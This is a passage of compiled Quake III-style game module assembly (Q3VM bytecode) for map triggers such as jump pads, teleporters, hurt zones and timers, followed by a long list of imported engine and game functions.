ADDI4 ASGNI4 ADDRFP4 0 INDIRP4 CNSTI4 688 ADDP4 ADDRGP4 trigger_always_think ASGNP4 LABELV $83 endproc SP_trigger_always 0 0 export trigger_push_touch proc trigger_push_touch 0 8 ADDRFP4 4 INDIRP4 CNSTI4 516 ADDP4 INDIRP4 CVPU4 4 CNSTU4 0 NEU4 $86 ADDRGP4 $85 JUMPV LABELV $86 ADDRFP4 4 INDIRP4 CNSTI4 516 ADDP4 INDIRP4 ARGP4 ADDRFP4 0 INDIRP4 ARGP4 ADDRGP4 BG_TouchJumpPad CALLV pop LABELV $85 endproc trigger_push_touch 0 8 export AimAtTarget proc AimAtTarget 72 4 ADDRFP4 0 ADDRFP4 0 INDIRP4 ASGNP4 ADDRLP4 0 ADDRFP4 0 INDIRP4 CNSTI4 464 ADDP4 INDIRF4 ADDRFP4 0 INDIRP4 CNSTI4 476 ADDP4 INDIRF4 ADDF4 ASGNF4 ADDRLP4 0+4 ADDRFP4 0 INDIRP4 CNSTI4 468 ADDP4 INDIRF4 ADDRFP4 0 INDIRP4 CNSTI4 480 ADDP4 INDIRF4 ADDF4 ASGNF4 ADDRLP4 0+8 ADDRFP4 0 INDIRP4 CNSTI4 472 ADDP4 INDIRF4 ADDRFP4 0 INDIRP4 CNSTI4 484 ADDP4 INDIRF4 ADDF4 ASGNF4 ADDRLP4 44 CNSTF4 1056964608 ASGNF4 ADDRLP4 0 ADDRLP4 44 INDIRF4 ADDRLP4 0 INDIRF4 MULF4 ASGNF4 ADDRLP4 0+4 ADDRLP4 44 INDIRF4 ADDRLP4 0+4 INDIRF4 MULF4 ASGNF4 ADDRLP4 0+8 CNSTF4 1056964608 ADDRLP4 0+8 INDIRF4 MULF4 ASGNF4 ADDRFP4 0 INDIRP4 CNSTI4 644 ADDP4 INDIRP4 ARGP4 ADDRLP4 48 ADDRGP4 G_PickTarget CALLP4 ASGNP4 ADDRLP4 12 ADDRLP4 48 INDIRP4 ASGNP4 ADDRLP4 12 INDIRP4 CVPU4 4 CNSTU4 0 NEU4 $95 ADDRFP4 0 INDIRP4 ARGP4 ADDRGP4 G_FreeEntity CALLV pop ADDRGP4 $88 JUMPV LABELV $95 ADDRLP4 28 ADDRLP4 12 INDIRP4 CNSTI4 100 ADDP4 INDIRF4 ADDRLP4 0+8 INDIRF4 SUBF4 ASGNF4 ADDRLP4 24 ADDRGP4 g_gravity+8 INDIRF4 ASGNF4 ADDRLP4 28 INDIRF4 CNSTF4 1056964608 ADDRLP4 24 INDIRF4 MULF4 DIVF4 ARGF4 ADDRLP4 52 ADDRGP4 qk_sqrt CALLF4 ASGNF4 ADDRLP4 16 ADDRLP4 52 INDIRF4 ASGNF4 ADDRLP4 16 INDIRF4 CNSTF4 0 NEF4 $99 ADDRFP4 0 INDIRP4 ARGP4 ADDRGP4 G_FreeEntity CALLV pop ADDRGP4 $88 JUMPV LABELV $99 ADDRFP4 0 INDIRP4 CNSTI4 104 ADDP4 ADDRLP4 12 INDIRP4 CNSTI4 92 ADDP4 INDIRF4 ADDRLP4 0 INDIRF4 SUBF4 ASGNF4 ADDRFP4 0 INDIRP4 CNSTI4 108 ADDP4 ADDRLP4 12 INDIRP4 CNSTI4 96 ADDP4 INDIRF4 ADDRLP4 0+4 INDIRF4 SUBF4 ASGNF4 ADDRFP4 0 INDIRP4 CNSTI4 112 ADDP4 ADDRLP4 12 INDIRP4 CNSTI4 100 ADDP4 INDIRF4 ADDRLP4 0+8 INDIRF4 SUBF4 ASGNF4 ADDRFP4 0 INDIRP4 CNSTI4 112 ADDP4 CNSTF4 0 ASGNF4 ADDRFP4 0 INDIRP4 CNSTI4 104 ADDP4 ARGP4 ADDRLP4 56 ADDRGP4 VectorNormalize CALLF4 ASGNF4 ADDRLP4 32 ADDRLP4 56 INDIRF4 ASGNF4 ADDRLP4 20 ADDRLP4 32 INDIRF4 ADDRLP4 16 INDIRF4 DIVF4 ASGNF4 ADDRLP4 60 ADDRFP4 0 INDIRP4 CNSTI4 104 ADDP4 ASGNP4 ADDRLP4 60 INDIRP4 ADDRLP4 60 INDIRP4 INDIRF4 ADDRLP4 20 INDIRF4 MULF4 ASGNF4 ADDRLP4 64 ADDRFP4 0 INDIRP4 CNSTI4 108 ADDP4 ASGNP4 ADDRLP4 64 INDIRP4 ADDRLP4 64 INDIRP4 INDIRF4 ADDRLP4 20 INDIRF4 MULF4 ASGNF4 ADDRLP4 68 ADDRFP4 0 INDIRP4 CNSTI4 112 ADDP4 ASGNP4 ADDRLP4 68 INDIRP4 ADDRLP4 68 INDIRP4 INDIRF4 ADDRLP4 20 INDIRF4 MULF4 ASGNF4 ADDRFP4 0 INDIRP4 CNSTI4 112 ADDP4 ADDRLP4 16 INDIRF4 ADDRLP4 24 INDIRF4 MULF4 ASGNF4 LABELV $88 endproc AimAtTarget 72 4 export SP_trigger_push proc SP_trigger_push 4 4 ADDRFP4 0 ADDRFP4 0 INDIRP4 ASGNP4 ADDRFP4 0 INDIRP4 ARGP4 ADDRGP4 InitTrigger CALLV pop ADDRLP4 0 ADDRFP4 0 INDIRP4 CNSTI4 424 ADDP4 ASGNP4 ADDRLP4 0 INDIRP4 ADDRLP4 0 INDIRP4 INDIRI4 CNSTI4 -2 BANDI4 ASGNI4 ADDRGP4 $104 ARGP4 ADDRGP4 G_SoundIndex CALLI4 pop ADDRFP4 0 INDIRP4 CNSTI4 4 ADDP4 CNSTI4 8 ASGNI4 ADDRFP4 0 INDIRP4 CNSTI4 700 ADDP4 ADDRGP4 trigger_push_touch ASGNP4 ADDRFP4 0 INDIRP4 CNSTI4 688 ADDP4 ADDRGP4 AimAtTarget ASGNP4 ADDRFP4 0 INDIRP4 CNSTI4 684 ADDP4 ADDRGP4 level+32 INDIRI4 CNSTI4 100 ADDI4 ASGNI4 ADDRFP4 0 INDIRP4 ARGP4 ADDRGP4 trap_LinkEntity CALLV pop LABELV $103 endproc SP_trigger_push 4 4 export Use_target_push proc Use_target_push 0 12 ADDRFP4 8 ADDRFP4 8 INDIRP4 ASGNP4 ADDRFP4 8 INDIRP4 CNSTI4 516 ADDP4 INDIRP4 CVPU4 4 CNSTU4 0 NEU4 $107 ADDRGP4 $106 JUMPV LABELV $107 ADDRFP4 8 INDIRP4 CNSTI4 516 ADDP4 INDIRP4 CNSTI4 4 ADDP4 INDIRI4 CNSTI4 0 EQI4 $109 ADDRGP4 $106 JUMPV LABELV $109 ADDRFP4 8 INDIRP4 CNSTI4 516 ADDP4 INDIRP4 CNSTI4 336 ADDP4 INDIRI4 CNSTI4 0 EQI4 $111 ADDRGP4 $106 JUMPV LABELV $111 ADDRFP4 8 INDIRP4 CNSTI4 516 ADDP4 INDIRP4 CNSTI4 32 ADDP4 ADDRFP4 0 INDIRP4 CNSTI4 104 ADDP4 INDIRB ASGNB 12 ADDRFP4 8 INDIRP4 CNSTI4 720 ADDP4 INDIRI4 ADDRGP4 level+32 INDIRI4 GEI4 $113 ADDRFP4 8 INDIRP4 CNSTI4 720 ADDP4 ADDRGP4 level+32 INDIRI4 CNSTI4 1500 ADDI4 ASGNI4 ADDRFP4 8 INDIRP4 ARGP4 CNSTI4 0 ARGI4 ADDRFP4 0 INDIRP4 CNSTI4 796 ADDP4 INDIRI4 ARGI4 ADDRGP4 G_Sound CALLV pop LABELV $113 LABELV $106 endproc Use_target_push 0 12 export SP_target_push proc SP_target_push 36 8 ADDRFP4 0 ADDRFP4 0 INDIRP4 ASGNP4 ADDRFP4 0 INDIRP4 CNSTI4 668 ADDP4 INDIRF4 CNSTF4 0 NEF4 $118 ADDRFP4 0 INDIRP4 CNSTI4 668 ADDP4 CNSTF4 1148846080 ASGNF4 LABELV $118 ADDRFP4 0 INDIRP4 CNSTI4 116 ADDP4 ARGP4 ADDRFP4 0 INDIRP4 CNSTI4 104 ADDP4 ARGP4 ADDRGP4 G_SetMovedir CALLV pop ADDRLP4 8 ADDRFP4 0 INDIRP4 CNSTI4 104 ADDP4 ASGNP4 ADDRLP4 8 INDIRP4 ADDRLP4 8 INDIRP4 INDIRF4 ADDRFP4 0 INDIRP4 CNSTI4 668 ADDP4 INDIRF4 MULF4 ASGNF4 ADDRLP4 16 ADDRFP4 0 INDIRP4 CNSTI4 108 ADDP4 ASGNP4 ADDRLP4 16 INDIRP4 ADDRLP4 16 INDIRP4 INDIRF4 ADDRFP4 0 INDIRP4 CNSTI4 668 ADDP4 INDIRF4 MULF4 ASGNF4 ADDRLP4 24 ADDRFP4 0 INDIRP4 CNSTI4 112 ADDP4 ASGNP4 ADDRLP4 24 INDIRP4 ADDRLP4 24 INDIRP4 INDIRF4 ADDRFP4 0 INDIRP4 CNSTI4 668 ADDP4 INDIRF4 MULF4 ASGNF4 ADDRFP4 0 INDIRP4 CNSTI4 528 ADDP4 INDIRI4 CNSTI4 1 BANDI4 CNSTI4 0 EQI4 $120 ADDRGP4 $104 ARGP4 ADDRLP4 28 ADDRGP4 G_SoundIndex CALLI4 ASGNI4 ADDRFP4 0 INDIRP4 CNSTI4 796 ADDP4 ADDRLP4 28 INDIRI4 ASGNI4 ADDRGP4 $121 JUMPV LABELV $120 ADDRGP4 $122 ARGP4 ADDRLP4 28 ADDRGP4 G_SoundIndex CALLI4 ASGNI4 ADDRFP4 0 INDIRP4 CNSTI4 796 ADDP4 ADDRLP4 28 INDIRI4 ASGNI4 LABELV $121 ADDRFP4 0 INDIRP4 CNSTI4 644 ADDP4 INDIRP4 CVPU4 4 CNSTU4 0 EQU4 $123 ADDRFP4 0 INDIRP4 CNSTI4 464 ADDP4 ADDRFP4 0 INDIRP4 CNSTI4 92 ADDP4 INDIRB ASGNB 12 ADDRFP4 0 INDIRP4 CNSTI4 476 ADDP4 ADDRFP4 0 INDIRP4 CNSTI4 92 ADDP4 INDIRB ASGNB 12 ADDRFP4 0 INDIRP4 CNSTI4 688 ADDP4 ADDRGP4 AimAtTarget ASGNP4 ADDRFP4 0 INDIRP4 CNSTI4 684 ADDP4 ADDRGP4 level+32 INDIRI4 CNSTI4 100 ADDI4 ASGNI4 LABELV $123 ADDRFP4 0 INDIRP4 CNSTI4 704 ADDP4 ADDRGP4 Use_target_push ASGNP4 LABELV $117 endproc SP_target_push 36 8 export trigger_teleporter_touch proc trigger_teleporter_touch 12 12 ADDRFP4 4 ADDRFP4 4 INDIRP4 ASGNP4 ADDRFP4 4 INDIRP4 CNSTI4 516 ADDP4 INDIRP4 CVPU4 4 CNSTU4 0 NEU4 $127 ADDRGP4 $126 JUMPV LABELV $127 ADDRFP4 4 INDIRP4 CNSTI4 516 ADDP4 INDIRP4 CNSTI4 4 ADDP4 INDIRI4 CNSTI4 3 NEI4 $129 ADDRGP4 $126 JUMPV LABELV $129 ADDRFP4 0 INDIRP4 CNSTI4 528 ADDP4 INDIRI4 CNSTI4 1 BANDI4 CNSTI4 0 EQI4 $131 ADDRFP4 4 INDIRP4 CNSTI4 516 ADDP4 INDIRP4 CNSTI4 616 ADDP4 INDIRI4 CNSTI4 3 EQI4 $131 ADDRGP4 $126 JUMPV LABELV $131 ADDRFP4 0 INDIRP4 CNSTI4 644 ADDP4 INDIRP4 ARGP4 ADDRLP4 4 ADDRGP4 G_PickTarget CALLP4 ASGNP4 ADDRLP4 0 ADDRLP4 4 INDIRP4 ASGNP4 ADDRLP4 0 INDIRP4 CVPU4 4 CNSTU4 0 NEU4 $133 ADDRGP4 $135 ARGP4 ADDRGP4 G_Printf CALLV pop ADDRGP4 $126 JUMPV LABELV $133 ADDRFP4 4 INDIRP4 ARGP4 ADDRLP4 0 INDIRP4 CNSTI4 92 ADDP4 ARGP4 ADDRLP4 0 INDIRP4 CNSTI4 116 ADDP4 ARGP4 ADDRGP4 TeleportPlayer CALLV pop LABELV $126 endproc trigger_teleporter_touch 12 12 export SP_trigger_teleport proc SP_trigger_teleport 4 4 ADDRFP4 0 ADDRFP4 0 INDIRP4 ASGNP4 ADDRFP4 0 INDIRP4 ARGP4 ADDRGP4 InitTrigger CALLV pop ADDRFP4 0 INDIRP4 CNSTI4 528 ADDP4 INDIRI4 CNSTI4 1 BANDI4 CNSTI4 0 EQI4 $137 ADDRLP4 0 ADDRFP4 0 INDIRP4 CNSTI4 424 ADDP4 ASGNP4 ADDRLP4 0 INDIRP4 ADDRLP4 0 INDIRP4 INDIRI4 CNSTI4 1 BORI4 ASGNI4 ADDRGP4 $138 JUMPV LABELV $137 ADDRLP4 0 ADDRFP4 0 INDIRP4 CNSTI4 424 ADDP4 ASGNP4 ADDRLP4 0 INDIRP4 ADDRLP4 0 INDIRP4 INDIRI4 CNSTI4 -2 BANDI4 ASGNI4 LABELV $138 ADDRGP4 $104 ARGP4 ADDRGP4 G_SoundIndex CALLI4 pop ADDRFP4 0 INDIRP4 CNSTI4 4 ADDP4 CNSTI4 9 ASGNI4 ADDRFP4 0 INDIRP4 CNSTI4 700 ADDP4 ADDRGP4 trigger_teleporter_touch ASGNP4 ADDRFP4 0 INDIRP4 ARGP4 ADDRGP4 trap_LinkEntity CALLV pop LABELV $136 endproc SP_trigger_teleport 4 4 export hurt_use proc hurt_use 0 4 ADDRFP4 0 INDIRP4 CNSTI4 416 ADDP4 INDIRI4 CNSTI4 0 EQI4 $140 ADDRFP4 0 INDIRP4 ARGP4 ADDRGP4 trap_UnlinkEntity CALLV pop ADDRGP4 $141 JUMPV LABELV $140 ADDRFP4 0 INDIRP4 ARGP4 ADDRGP4 trap_LinkEntity CALLV pop LABELV $141 LABELV $139 endproc hurt_use 0 4 export hurt_touch proc hurt_touch 12 32 ADDRFP4 0 ADDRFP4 0 INDIRP4 ASGNP4 ADDRFP4 4 INDIRP4 CNSTI4 732 ADDP4 INDIRI4 CNSTI4 0 NEI4 $143 ADDRGP4 $142 JUMPV LABELV $143 ADDRFP4 0 INDIRP4 CNSTI4 640 ADDP4 INDIRI4 ADDRGP4 level+32 INDIRI4 LEI4 $145 ADDRGP4 $142 JUMPV LABELV $145 ADDRFP4 0 INDIRP4 CNSTI4 528 ADDP4 INDIRI4 CNSTI4 16 BANDI4 CNSTI4 0 EQI4 $148 ADDRFP4 0 INDIRP4 CNSTI4 640 ADDP4 ADDRGP4 level+32 INDIRI4 CNSTI4 1000 ADDI4 ASGNI4 ADDRGP4 $149 JUMPV LABELV $148 ADDRFP4 0 INDIRP4 CNSTI4 640 ADDP4 ADDRGP4 level+32 INDIRI4 CNSTI4 100 ADDI4 ASGNI4 LABELV $149 ADDRFP4 0 INDIRP4 CNSTI4 528 ADDP4 INDIRI4 CNSTI4 4 BANDI4 CNSTI4 0 NEI4 $152 ADDRFP4 4 INDIRP4 ARGP4 CNSTI4 0 ARGI4 ADDRFP4 0 INDIRP4 CNSTI4 796 ADDP4 INDIRI4 ARGI4 ADDRGP4 G_Sound CALLV pop LABELV $152 ADDRFP4 0 INDIRP4 CNSTI4 528 ADDP4 INDIRI4 CNSTI4 8 BANDI4 CNSTI4 0 EQI4 $154 ADDRLP4 0 CNSTI4 8 ASGNI4 ADDRGP4 $155 JUMPV LABELV $154 ADDRLP4 0 CNSTI4 0 ASGNI4 LABELV $155 ADDRFP4 4 INDIRP4 ARGP4 ADDRFP4 0 INDIRP4 ARGP4 ADDRFP4 0 INDIRP4 ARGP4 ADDRLP4 8 CNSTP4 0 ASGNP4 ADDRLP4 8 INDIRP4 ARGP4 ADDRLP4 8 INDIRP4 ARGP4 ADDRFP4 0 INDIRP4 CNSTI4 736 ADDP4 INDIRI4 ARGI4 ADDRLP4 0 INDIRI4 ARGI4 CNSTI4 22 ARGI4 ADDRGP4 G_Damage CALLV pop LABELV $142 endproc hurt_touch 12 32 export SP_trigger_hurt proc SP_trigger_hurt 4 4 ADDRFP4 0 ADDRFP4 0 INDIRP4 ASGNP4 ADDRFP4 0 INDIRP4 ARGP4 ADDRGP4 InitTrigger CALLV pop ADDRGP4 $157 ARGP4 ADDRLP4 0 ADDRGP4 G_SoundIndex CALLI4 ASGNI4 ADDRFP4 0 INDIRP4 CNSTI4 796 ADDP4 ADDRLP4 0 INDIRI4 ASGNI4 ADDRFP4 0 INDIRP4 CNSTI4 700 ADDP4 ADDRGP4 hurt_touch ASGNP4 ADDRFP4 0 INDIRP4 CNSTI4 736 ADDP4 INDIRI4 CNSTI4 0 NEI4 $158 ADDRFP4 0 INDIRP4 CNSTI4 736 ADDP4 CNSTI4 5 ASGNI4 LABELV $158 ADDRFP4 0 INDIRP4 CNSTI4 704 ADDP4 ADDRGP4 hurt_use ASGNP4 ADDRFP4 0 INDIRP4 CNSTI4 528 ADDP4 INDIRI4 CNSTI4 1 BANDI4 CNSTI4 0 EQI4 $160 ADDRFP4 0 INDIRP4 ARGP4 ADDRGP4 trap_UnlinkEntity CALLV pop ADDRGP4 $161 JUMPV LABELV $160 ADDRFP4 0 INDIRP4 ARGP4 ADDRGP4 trap_LinkEntity CALLV pop LABELV $161 LABELV $156 endproc SP_trigger_hurt 4 4 export func_timer_think proc func_timer_think 12 8 ADDRFP4 0 ADDRFP4 0 INDIRP4 ASGNP4 ADDRFP4 0 INDIRP4 ARGP4 ADDRFP4 0 INDIRP4 CNSTI4 768 ADDP4 INDIRP4 ARGP4 ADDRGP4 G_UseTargets CALLV pop ADDRLP4 4 ADDRGP4 qk_rand CALLI4 ASGNI4 ADDRFP4 0 INDIRP4 CNSTI4 684 ADDP4 ADDRGP4 level+32 INDIRI4 CVIF4 4 CNSTF4 1148846080 ADDRFP4 0 INDIRP4 CNSTI4 800 ADDP4 INDIRF4 CNSTF4 1073741824 ADDRLP4 4 INDIRI4 CNSTI4 32767 BANDI4 CVIF4 4 CNSTF4 1191181824 DIVF4 CNSTF4 1056964608 SUBF4 MULF4 ADDRFP4 0 INDIRP4 CNSTI4 804 ADDP4 INDIRF4 MULF4 ADDF4 MULF4 ADDF4 CVFI4 4 ASGNI4 LABELV $162 endproc func_timer_think 12 8 export func_timer_use proc func_timer_use 0 4 ADDRFP4 0 ADDRFP4 0 INDIRP4 ASGNP4 ADDRFP4 0 INDIRP4 CNSTI4 768 ADDP4 ADDRFP4 8 INDIRP4 ASGNP4 ADDRFP4 0 INDIRP4 CNSTI4 684 ADDP4 INDIRI4 CNSTI4 0 EQI4 $165 ADDRFP4 0 INDIRP4 CNSTI4 684 ADDP4 CNSTI4 0 ASGNI4 ADDRGP4 $164 JUMPV LABELV $165 ADDRFP4 0 INDIRP4 ARGP4 ADDRGP4 func_timer_think CALLV pop LABELV $164 endproc func_timer_use 0 4 export SP_func_timer proc SP_func_timer 12 12 ADDRFP4 0 ADDRFP4 0 INDIRP4 ASGNP4 ADDRGP4 $77 ARGP4 ADDRGP4 $168 ARGP4 ADDRFP4 0 INDIRP4 CNSTI4 804 ADDP4 ARGP4 ADDRGP4 G_SpawnFloat CALLI4 pop ADDRGP4 $75 ARGP4 ADDRGP4 $168 ARGP4 ADDRFP4 0 INDIRP4 CNSTI4 800 ADDP4 ARGP4 ADDRGP4 G_SpawnFloat CALLI4 pop ADDRFP4 0 INDIRP4 CNSTI4 704 ADDP4 ADDRGP4 func_timer_use ASGNP4 ADDRFP4 0 INDIRP4 CNSTI4 688 ADDP4 ADDRGP4 func_timer_think ASGNP4 ADDRFP4 0 INDIRP4 CNSTI4 804 ADDP4 INDIRF4 ADDRFP4 0 INDIRP4 CNSTI4 800 ADDP4 INDIRF4 LTF4 $169 ADDRFP4 0 INDIRP4 CNSTI4 804 ADDP4 ADDRFP4 0 INDIRP4 CNSTI4 800 ADDP4 INDIRF4 CNSTF4 1120403456 SUBF4 ASGNF4 ADDRFP4 0 INDIRP4 CNSTI4 92 ADDP4 ARGP4 ADDRLP4 8 ADDRGP4 vtos CALLP4 ASGNP4 ADDRGP4 $171 ARGP4 ADDRLP4 8 INDIRP4 ARGP4 ADDRGP4 G_Printf CALLV pop LABELV $169 ADDRFP4 0 INDIRP4 CNSTI4 528 ADDP4 INDIRI4 CNSTI4 1 BANDI4 CNSTI4 0 EQI4 $172 ADDRFP4 0 INDIRP4 CNSTI4 684 ADDP4 ADDRGP4 level+32 INDIRI4 CNSTI4 100 ADDI4 ASGNI4 ADDRFP4 0 INDIRP4 CNSTI4 768 ADDP4 ADDRFP4 0 INDIRP4 ASGNP4 LABELV $172 ADDRFP4 0 INDIRP4 CNSTI4 424 ADDP4 CNSTI4 1 ASGNI4 LABELV $167 endproc SP_func_timer 12 12 import trap_SnapVector import trap_GeneticParentsAndChildSelection import trap_BotResetWeaponState import trap_BotFreeWeaponState import trap_BotAllocWeaponState import trap_BotLoadWeaponWeights import trap_BotGetWeaponInfo import trap_BotChooseBestFightWeapon import trap_BotAddAvoidSpot import trap_BotInitMoveState import trap_BotFreeMoveState import trap_BotAllocMoveState import trap_BotPredictVisiblePosition import trap_BotMovementViewTarget import trap_BotReachabilityArea import trap_BotResetLastAvoidReach import trap_BotResetAvoidReach import trap_BotMoveInDirection import trap_BotMoveToGoal import trap_BotResetMoveState import trap_BotFreeGoalState import trap_BotAllocGoalState import trap_BotMutateGoalFuzzyLogic import trap_BotSaveGoalFuzzyLogic import trap_BotInterbreedGoalFuzzyLogic import trap_BotFreeItemWeights import trap_BotLoadItemWeights import trap_BotUpdateEntityItems import trap_BotInitLevelItems import trap_BotSetAvoidGoalTime import trap_BotAvoidGoalTime import trap_BotGetLevelItemGoal import trap_BotGetMapLocationGoal import trap_BotGetNextCampSpotGoal import trap_BotItemGoalInVisButNotVisible import trap_BotTouchingGoal import trap_BotChooseNBGItem import trap_BotChooseLTGItem import trap_BotGetSecondGoal import trap_BotGetTopGoal import trap_BotGoalName import trap_BotDumpGoalStack import trap_BotDumpAvoidGoals import trap_BotEmptyGoalStack import trap_BotPopGoal import trap_BotPushGoal import trap_BotResetAvoidGoals import trap_BotRemoveFromAvoidGoals import trap_BotResetGoalState import trap_BotSetChatName import trap_BotSetChatGender import trap_BotLoadChatFile import trap_BotReplaceSynonyms import trap_UnifyWhiteSpaces import trap_BotMatchVariable import trap_BotFindMatch import trap_StringContains import trap_BotGetChatMessage import trap_BotEnterChat import trap_BotChatLength import trap_BotReplyChat import trap_BotNumInitialChats import trap_BotInitialChat import trap_BotNumConsoleMessages import trap_BotNextConsoleMessage import trap_BotRemoveConsoleMessage import trap_BotQueueConsoleMessage import trap_BotFreeChatState import trap_BotAllocChatState import trap_Characteristic_String import trap_Characteristic_BInteger import trap_Characteristic_Integer import trap_Characteristic_BFloat import trap_Characteristic_Float import trap_BotFreeCharacter import trap_BotLoadCharacter import trap_EA_ResetInput import trap_EA_GetInput import trap_EA_EndRegular import trap_EA_View import trap_EA_Move import trap_EA_DelayedJump import trap_EA_Jump import trap_EA_SelectWeapon import trap_EA_MoveRight import trap_EA_MoveLeft import trap_EA_MoveBack import trap_EA_MoveForward import trap_EA_MoveDown import trap_EA_MoveUp import trap_EA_Crouch import trap_EA_Respawn import trap_EA_Use import trap_EA_Attack import trap_EA_Talk import trap_EA_Gesture import trap_EA_Action import trap_EA_Command import trap_EA_SayTeam import trap_EA_Say import trap_AAS_PredictClientMovement import trap_AAS_Swimming import trap_AAS_AlternativeRouteGoals import trap_AAS_PredictRoute import trap_AAS_EnableRoutingArea import trap_AAS_AreaTravelTimeToGoalArea import trap_AAS_AreaReachability import trap_AAS_IntForBSPEpairKey import trap_AAS_FloatForBSPEpairKey import trap_AAS_VectorForBSPEpairKey import trap_AAS_ValueForBSPEpairKey import trap_AAS_NextBSPEntity import trap_AAS_PointContents import trap_AAS_TraceAreas import trap_AAS_PointReachabilityAreaIndex import trap_AAS_PointAreaNum import trap_AAS_Time import trap_AAS_PresenceTypeBoundingBox import trap_AAS_Initialized import trap_AAS_EntityInfo import trap_AAS_AreaInfo import trap_AAS_BBoxAreas import trap_BotUserCommand import trap_BotGetServerCommand import trap_BotGetSnapshotEntity import trap_BotLibTest import trap_BotLibUpdateEntity import trap_BotLibLoadMap import trap_BotLibStartFrame import trap_BotLibDefine import trap_BotLibVarGet import trap_BotLibVarSet import trap_BotLibShutdown import trap_BotLibSetup import trap_DebugPolygonDelete import trap_DebugPolygonCreate import trap_GetEntityToken import trap_GetUsercmd import trap_BotFreeClient import trap_BotAllocateClient import trap_EntityContact import trap_EntitiesInBox import trap_UnlinkEntity import trap_LinkEntity import trap_AreasConnected import trap_AdjustAreaPortalState import trap_InPVSIgnorePortals import trap_InPVS import trap_PointContents import trap_Trace import trap_SetBrushModel import trap_GetServerinfo import trap_SetUserinfo import trap_GetUserinfo import trap_GetConfigstring import trap_SetConfigstring import trap_SendServerCommand import trap_DropClient import trap_LocateGameData import trap_Cvar_VariableStringBuffer import trap_Cvar_VariableValue import trap_Cvar_VariableIntegerValue import trap_Cvar_Set import trap_Cvar_Update import trap_Cvar_Register import trap_SendConsoleCommand import trap_FS_Seek import trap_FS_GetFileList import trap_FS_FCloseFile import trap_FS_Write import trap_FS_Read import trap_FS_FOpenFile import trap_Args import trap_Argv import trap_Argc import trap_RealTime import trap_Milliseconds import trap_Error import trap_Print import g_proxMineTimeout import g_singlePlayer import g_enableBreath import g_enableDust import g_rankings import pmove_msec import pmove_fixed import g_smoothClients import g_blueteam import g_redteam import g_cubeTimeout import g_obeliskRespawnDelay import g_obeliskRegenAmount import g_obeliskRegenPeriod import g_obeliskHealth import g_filterBan import g_banIPs import g_teamForceBalance import g_teamAutoJoin import g_allowVote import g_blood import g_doWarmup import g_warmup import g_motd import g_synchronousClients import g_weaponTeamRespawn import g_weaponRespawn import g_debugDamage import g_debugAlloc import g_debugMove import g_inactivity import g_forcerespawn import g_quadfactor import g_knockback import g_speed import g_gravity import g_needpass import g_password import g_friendlyFire import g_capturelimit import g_timelimit import g_fraglimit import g_dmflags import g_restarted import g_maxGameClients import g_maxclients import g_cheats import g_dedicated import g_gametype import g_entities import level import Pickup_Team import CheckTeamStatus import TeamplayInfoMessage import Team_GetLocationMsg import Team_GetLocation import SelectCTFSpawnPoint import Team_FreeEntity import Team_ReturnFlag import Team_InitGame import Team_CheckHurtCarrier import Team_FragBonuses import Team_DroppedFlagThink import AddTeamScore import TeamColorString import TeamName import OtherTeam import BotTestAAS import BotAIStartFrame import BotAIShutdownClient import BotAISetupClient import BotAILoadMap import BotAIShutdown import BotAISetup import BotInterbreedEndMatch import Svcmd_BotList_f import Svcmd_AddBot_f import G_BotConnect import G_RemoveQueuedBotBegin import G_CheckBotSpawn import G_GetBotInfoByName import G_GetBotInfoByNumber import G_InitBots import Svcmd_AbortPodium_f import SpawnModelsOnVictoryPads import UpdateTournamentInfo import G_WriteSessionData import G_InitWorldSession import G_InitSessionData import G_ReadSessionData import Svcmd_GameMem_f import G_InitMemory import G_Alloc import CheckObeliskAttack import Team_CheckDroppedItem import OnSameTeam import G_RunClient import ClientEndFrame import ClientThink import ClientCommand import ClientBegin import ClientDisconnect import ClientUserinfoChanged import ClientConnect import G_Error import G_Printf import SendScoreboardMessageToAllClients import G_LogPrintf import AddTournamentQueue import G_RunThink import CheckTeamLeader import SetLeader import FindIntermissionPoint import MoveClientToIntermission import DeathmatchScoreboardMessage import G_StartKamikaze import FireWeapon import G_FilterPacket import G_ProcessIPBans import ConsoleCommand import SpotWouldTelefrag import CalculateRanks import AddScore import player_die import ClientSpawn import InitBodyQue import BeginIntermission import ClientRespawn import CopyToBodyQue import SelectSpawnPoint import SetClientViewAngle import PickTeam import TeamLeader import TeamCount import Weapon_HookThink import Weapon_HookFree import CheckGauntletAttack import SnapVectorTowards import CalcMuzzlePoint import LogAccuracyHit import DropPortalDestination import DropPortalSource import TeleportPlayer import Touch_DoorTrigger import G_RunMover import fire_prox import fire_nail import fire_grapple import fire_bfg import fire_rocket import fire_grenade import fire_plasma import G_RunMissile import TossClientCubes import TossClientPersistantPowerups import TossClientItems import body_die import G_InvulnerabilityEffect import G_RadiusDamage import G_Damage import CanDamage import BuildShaderStateConfig import AddRemap import G_SetOrigin import G_AddEvent import G_AddPredictableEvent import vectoyaw import vtos import tv import G_TouchTriggers import G_EntitiesFree import G_FreeEntity import G_Sound import G_TempEntity import G_Spawn import G_InitGentity import G_SetMovedir import G_UseTargets import G_PickTarget import G_Find import G_KillBox import G_TeamCommand import G_SoundIndex import G_ModelIndex import SaveRegisteredItems import RegisterItem import ClearRegisteredItems import Touch_Item import Add_Ammo import ArmorIndex import Think_Weapon import FinishSpawningItem import G_SpawnItem import SetRespawn import LaunchItem import Drop_Item import PrecacheItem import UseHoldableItem import RespawnItem import G_RunItem import G_CheckTeamItems import Cmd_FollowCycle_f import SetTeam import BroadcastTeamChange import StopFollowing import Cmd_Score_f import G_NewString import G_SpawnEntitiesFromString import G_SpawnVector import G_SpawnInt import G_SpawnFloat import G_SpawnString import BG_PlayerTouchesItem import BG_PlayerStateToEntityStateExtraPolate import BG_PlayerStateToEntityState import BG_TouchJumpPad import BG_AddPredictableEventToPlayerstate import BG_EvaluateTrajectoryDelta import BG_EvaluateTrajectory import BG_CanItemBeGrabbed import BG_FindItemForHoldable import BG_FindItemForPowerup import BG_FindItemForWeapon import BG_FindItem import bg_numItems import bg_itemlist import Pmove import PM_UpdateViewAngles import Com_Printf import Com_Error import Info_NextPair import Info_Validate import Info_SetValueForKey_Big import Info_SetValueForKey import Info_RemoveKey_Big import Info_RemoveKey import Info_ValueForKey import Com_TruncateLongString import va import Q_CountChar import Q_CleanStr import Q_PrintStrlen import Q_strcat import Q_strncpyz import Q_stristr import Q_strupr import Q_strlwr import Q_stricmpn import Q_strncmp import Q_stricmp import Q_isintegral import Q_isanumber import Q_isalpha import Q_isupper import Q_islower import Q_isprint import Com_RandomBytes import Com_SkipCharset import Com_SkipTokens import Com_sprintf import Com_HexStrToInt import Parse3DMatrix import Parse2DMatrix import Parse1DMatrix import SkipRestOfLine import SkipBracedSection import COM_MatchToken import COM_ParseWarning import 